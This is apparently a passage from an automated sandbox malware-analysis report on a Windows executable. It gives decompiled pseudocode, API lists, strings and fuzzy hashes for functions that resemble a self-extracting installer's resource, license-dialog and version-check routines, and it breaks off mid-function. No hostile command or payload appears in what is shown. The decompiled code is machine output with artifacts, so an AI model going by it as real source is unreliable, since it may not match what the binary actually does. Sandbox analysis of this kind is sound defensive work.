Instruction Fuzzy Hash: AC41E3366086455FDB179F34BC54AFE7BAD9F66300F15009BE8C287302DBB58E868B61

Uniqueness

Uniqueness Score: -1.00%

Function 003D28E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D28E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				char _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E003D2773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t11 =  &_v32; // 0x3d3938
						_t68 = GetFileVersionInfoSizeA(_v12, _t11);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									_t16 =  &_v32; // 0x3d3938
									if(GetFileVersionInfoA(_v12,  *_t16, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E003D2A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E003D2A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x003d28f1
0x003d28f4
0x003d28f7
0x003d28f9
0x003d28fc
0x003d28ff
0x003d2901
0x003d2907
0x003d2a62
0x003d2a64
0x003d290d
0x003d290d
0x003d290f
0x003d2912
0x003d2920
0x003d2937
0x00000000
0x00000000
0x003d293d
0x003d2944
0x003d294a
0x003d294f
0x003d2a2f
0x003d2a32
0x003d2a34
0x003d2a37
0x003d2a41
0x00000000
0x00000000
0x003d2955
0x003d295e
0x003d2962
0x003d2969
0x003d296f
0x003d2974
0x003d297e
0x003d298c
0x003d2a20
0x003d2a21
0x003d2a27
0x003d2a4c
0x003d2a4f
0x003d2a50
0x003d2a53
0x003d2a56
0x003d2a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x003d29b2
0x003d29b2
0x003d29b5
0x003d29bd
0x003d29c3
0x003d29cc
0x003d29d5
0x003d29d7
0x003d29da
0x003d29dd
0x003d29df
0x003d29ec
0x003d29f8
0x003d29fc
0x003d29ff
0x003d2a02
0x003d2a07
0x003d2a0a
0x003d2a0f
0x003d2a19
0x003d2a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003d2a0f
0x003d298c
0x003d2974
0x003d2962
0x00000000
0x003d294f
0x003d2912
0x003d2a65
0x003d2a68
0x003d2a6c
0x003d2a6f
0x003d2a6f
0x003d2a7d

APIs

GlobalFree.KERNEL32 ref: 003D2A6F

Part of subcall function 003D2773: CharUpperA.USER32(F4FC83B5,00000000,00000000,00000000), ref: 003D27A8
Part of subcall function 003D2773: CharNextA.USER32(0000054D), ref: 003D27B5
Part of subcall function 003D2773: CharNextA.USER32(00000000), ref: 003D27BC
Part of subcall function 003D2773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003D2829
Part of subcall function 003D2773: RegQueryValueExA.ADVAPI32(?,003D1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003D2852
Part of subcall function 003D2773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003D2870
Part of subcall function 003D2773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003D28A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,003D3938,?,?,?,?,-00000005), ref: 003D2958
GlobalLock.KERNEL32 ref: 003D2969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,003D3938,?,?,?,?,-00000005,?), ref: 003D2A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,003D3938,?,?), ref: 003D2A81

Strings

89=, xrefs: 003D293D, 003D297E, 003D2940

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID: 89=
API String ID: 3949799724-2211818641
Opcode ID: 2bd917c5cb6e65ad4936ca8937769e0fe6f8f95ef59099fd0250f40a833bd1f6
Instruction ID: 8c7adba39ac30f2968dc1a3f8178a4d442ae8b5c04e5cd314d840b8f97c5acd9
Opcode Fuzzy Hash: 2bd917c5cb6e65ad4936ca8937769e0fe6f8f95ef59099fd0250f40a833bd1f6
Instruction Fuzzy Hash: F2512B32D00619DBCB22DF98E884AAEFBB9FF58701F15402BE905E7311DB319A41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 003D43D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E003D43D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E003D6CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x003d43d0
0x003d43d8
0x003d43df
0x003d43e6
0x003d43ec
0x003d43f1
0x003d4400
0x003d4403
0x003d440b
0x003d4420
0x003d4429
0x003d4437
0x003d4444
0x003d4447
0x003d444d
0x003d4454
0x003d445b
0x003d4460
0x003d4461
0x003d4467
0x003d446f
0x003d4473
0x003d4473
0x003d4463
0x003d4463
0x003d4463
0x003d447a
0x003d4481
0x003d4484
0x003d448a
0x003d4492
0x003d4496
0x003d4496
0x003d4486
0x003d4486
0x003d4486
0x003d44b8

APIs

GetWindowRect.USER32(?,?), ref: 003D43F1
GetWindowRect.USER32(00000000,?), ref: 003D440B
GetDC.USER32(?), ref: 003D4423
GetDeviceCaps.GDI32(00000000,00000008), ref: 003D442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 003D443A
ReleaseDC.USER32(?,00000000), ref: 003D4447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001), ref: 003D44A2

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 2f319a6d023729c65fed526d4947270317d8a8f0c82fd5f4db1cb71b530cb6db
Instruction ID: 820c477085c1dd515d70b738e17d407658cd4475acd39ae57501f887e5f7ca45
Opcode Fuzzy Hash: 2f319a6d023729c65fed526d4947270317d8a8f0c82fd5f4db1cb71b530cb6db
Instruction Fuzzy Hash: E6316472E01519AFCB15CFB8EE499EEBBB9EB89310F15416AF805F3240D6306C45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 003D6298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E003D6298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E003D171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0x3d9124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0x3da288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E003D171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E003D6CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x003d6298
0x003d62a0
0x003d62a7
0x003d62ad
0x003d62af
0x003d62bb
0x003d62c3
0x003d62c4
0x003d633b
0x003d633b
0x003d6345
0x003d634d
0x00000000
0x00000000
0x003d62da
0x003d62de
0x003d635f
0x003d6369
0x003d62e0
0x003d62e0
0x003d62e0
0x003d62e3
0x003d62e5
0x003d62e5
0x003d62e8
0x003d62e8
0x003d62ea
0x003d62eb
0x003d62ef
0x003d62f1
0x003d62f3
0x003d6302
0x003d6308
0x003d630d
0x003d6314
0x003d6314
0x003d6316
0x003d6319
0x003d6355
0x003d6357
0x003d631b
0x003d631b
0x003d6331
0x003d6334
0x003d6339
0x00000000
0x003d6339
0x003d6319
0x003d636b
0x003d637d
0x003d637d
0x00000000

APIs

Part of subcall function 003D171E: _vsnprintf.MSVCRT ref: 003D1750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,003D51CA,00000004,00000024,003D2F71,?,00000002,00000000), ref: 003D62CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,003D51CA,00000004,00000024,003D2F71,?,00000002,00000000), ref: 003D62D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,003D51CA,00000004,00000024,003D2F71,?,00000002,00000000), ref: 003D631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 003D6345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,003D51CA,00000004,00000024,003D2F71,?,00000002,00000000), ref: 003D6357

Strings

UPDFILE%lu, xrefs: 003D62B3, 003D6329

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 448bfa3907327fe45af31c2fcc451b6c929e1e4bf3ed7b6fb57a9a3a36fc2ce6
Instruction ID: 951989539752b059c7cc9eb473f1fb694c69c74d72d5ece7717929b41c1519ae
Opcode Fuzzy Hash: 448bfa3907327fe45af31c2fcc451b6c929e1e4bf3ed7b6fb57a9a3a36fc2ce6
Instruction Fuzzy Hash: 6721F676A00219ABDB129FA4EC469FE7B7CEB48710F01011BF912A3351DB359D068BE0

Uniqueness

Uniqueness Score: -1.00%

Function 003D3A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D3A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E003D468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0x3d8d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E003D468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0x3d8d4c, "<None>") == 0) {
							LocalFree( *0x3d8d4c);
							L9:
							 *0x3d9124 = 0;
							return 1;
						}
						_t9 = E003D6517(_t19, 0x7d1, 0, E003D3100, 0, 0);
						LocalFree( *0x3d8d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0x3d9124 = 0x800704c7;
						L2:
						return 0;
					}
					E003D44B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0x3d8d4c);
					 *0x3d9124 = 0x80070714;
					goto L2;
				}
				E003D44B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x3d9124 = E003D6285();
				goto L2;
			}

0x003d3a46
0x003d3a57
0x003d3a5d
0x003d3a63
0x003d3a6a
0x003d3a91
0x003d3a9a
0x003d3ad8
0x003d3b13
0x003d3b19
0x003d3b1b
0x00000000
0x003d3b21
0x003d3ae7
0x003d3af4
0x003d3afc
0x00000000
0x00000000
0x003d3afe
0x003d3a87
0x00000000
0x003d3a87
0x003d3aa8
0x003d3ab3
0x003d3ab9
0x00000000
0x003d3ab9
0x003d3a78
0x003d3a82
0x00000000

APIs

Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46A0
Part of subcall function 003D468F: SizeofResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46A9
Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46C3
Part of subcall function 003D468F: LoadResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46CC
Part of subcall function 003D468F: LockResource.KERNEL32(00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46D3
Part of subcall function 003D468F: memcpy_s.MSVCRT ref: 003D46E5
Part of subcall function 003D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,003D2F64,?,00000002,00000000), ref: 003D3A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 003D3AB3

Part of subcall function 003D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003D4518
Part of subcall function 003D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 003D4554

Part of subcall function 003D6285: GetLastError.KERNEL32(003D5BBC), ref: 003D6285

lstrcmpA.KERNEL32(<None>,00000000), ref: 003D3AD0
LocalFree.KERNEL32 ref: 003D3B13

Part of subcall function 003D6517: FindResourceA.KERNEL32(003D0000,000007D6,00000005), ref: 003D652A
Part of subcall function 003D6517: LoadResource.KERNEL32(003D0000,00000000,?,?,003D2EE8,00000000,003D19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 003D6538
Part of subcall function 003D6517: DialogBoxIndirectParamA.USER32(003D0000,00000000,00000547,003D19E0,00000000), ref: 003D6557
Part of subcall function 003D6517: FreeResource.KERNEL32(00000000,?,?,003D2EE8,00000000,003D19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 003D6560

LocalFree.KERNEL32(00000000,003D3100,00000000,00000000), ref: 003D3AF4

Strings

LICENSE, xrefs: 003D3A46
<None>, xrefs: 003D3AC5

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: b70d9d0c28ee3bde736f12d90ed2b6160f9bf4cb6894a86dc4f57b16a5027367
Instruction ID: b259d7ca63189fa236bb0c6bd0611e10d5d53cc545dc45477f115ec33324261e
Opcode Fuzzy Hash: b70d9d0c28ee3bde736f12d90ed2b6160f9bf4cb6894a86dc4f57b16a5027367
Instruction Fuzzy Hash: F611A232302201BBD723AB36BD0AE177BBEEBD5700F10442FB542DA7E0DA798D008661

Uniqueness

Uniqueness Score: -1.00%

Function 003D24E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E003D24E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E003D658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E003D6CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x003d24e0
0x003d24eb
0x003d24f2
0x003d24f7
0x003d2504
0x003d250e
0x003d251d
0x003d252c
0x003d2541
0x003d2546
0x003d2553
0x003d2555
0x003d2555
0x003d2546
0x003d256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 003D2506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 003D252C
_lopen.KERNEL32(?,00000040), ref: 003D253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 003D254C
_lclose.KERNEL32(00000000), ref: 003D2555

Strings

wininit.ini, xrefs: 003D2510

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 5fbf4047e80699490230568194738777ea5a8a082929047be9f28f9c149ae1ea
Instruction ID: 623d41ea979d1a01055dbf86f95c9a2fde7c27e3036437a2d6d67afb8ae0e3aa
Opcode Fuzzy Hash: 5fbf4047e80699490230568194738777ea5a8a082929047be9f28f9c149ae1ea
Instruction Fuzzy Hash: 3E01B5326011186BC7229B65FD0DEDFBB7DDB46750F000156FA49D3290DE748E45CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 003D36EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E003D36EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0x3d8184 = 1;
						 *0x3d8180 = 1;
						L13:
						 *0x3d9a40 = _t119;
						L14:
						__eflags =  *0x3d8a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E003D2A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E003D2A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0x3d8a38 & 0x00000001;
											if(( *0x3d8a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("lenta");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E003D681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "lenta", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E003D67C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E003D28E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
